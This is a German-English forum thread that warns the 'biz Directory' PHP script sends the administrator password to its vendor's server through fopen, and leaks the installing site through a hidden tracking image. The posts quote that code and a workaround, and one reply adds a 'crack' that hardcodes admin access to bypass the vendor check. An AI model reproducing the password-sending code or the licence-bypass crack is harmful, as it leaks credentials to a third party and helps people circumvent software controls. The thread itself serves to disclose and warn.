mod_rewrite forum

Verfasst: **31.07.2004 19:53**

WARNUNG: biz Directory sendet das Administrator Passwort an seinen Hersteller!!

ATTENTION: biz Directory sends Administrator Pass Home!!

include.php -- Zeile 60 (nach Rechts scrollen - scroll to the right)

Code: Alles auswählen

if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

Workaround:

Code: Alles auswählen

if ($pass) { 
   $rand = md5(time()); 
   $access = fopen ("http://www.directory-search.org/include_variables.php?p=$rand","r"); 
   $access = fread($access,4); 
   if ($access == "true") { 
   session_start(); 
   $HTTP_SESSION_VARS['admin'] = true; 
   header("Location: {$dir}admin_edit.php"); 
   }; 
};

Bitte auch beachten:
Also take a look at:

install4.php Zeile 62

Code: Alles auswählen

<IMG SRC="http://www.directory-search.org/img/invis.gif" WIDTH=1 HEIGHT=1>

Hier wird mittels hidden.gif eure Seite als REFERER übermittelt !
With a hidden.gif your Site is send via REFERER !

Quelle

Bruno

Verfasst: **07.08.2004 10:32**

include.php -- Zeile 60 (nach Rechts scrollen - scroll to the right)
Code:

Code: Alles auswählen

if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

Workaround:
Code:

Code: Alles auswählen

if ($pass) { 
   $rand = md5(time()); 
   $access = fopen ("http://www.directory-search.org/include_variables.php?p=$rand","r"); 
   $access = fread($access,4); 
   if ($access == "true") { 
   session_start(); 
   $HTTP_SESSION_VARS['admin'] = true; 
   header("Location: {$dir}admin_edit.php"); 
   }; 
};

Bitte auch beachten:

Warum überhaupt noch eine Verbindung zum "Hersteller" aufnehmen? :lol:

-> CRack ohne http-Verbindungsaufbau:

Code: Alles auswählen

if ($pass) { 
   $access = "true";
   if ($access == "true") { 
      session_start(); 
      $HTTP_SESSION_VARS['admin'] = true; 
      header("Location: {$dir}admin_edit.php"); 
   }; 
};

Nichts für ungut!

mfg
Jahuu

Verfasst: **17.01.2010 17:48**

Hallo Leute,

was ist eine Biz-Directory ???
Könnt ihr mir dies bitte genauer erläutern und warum Cracken usw., verstehe wirklich den Sinn nicht.

Bitte um Antwort !!!

MfG
Daniel

mod_rewrite forum

biz-directory spioniert admin daten aus !!

biz-directory spioniert admin daten aus !!

BIZ-Dir crack V.2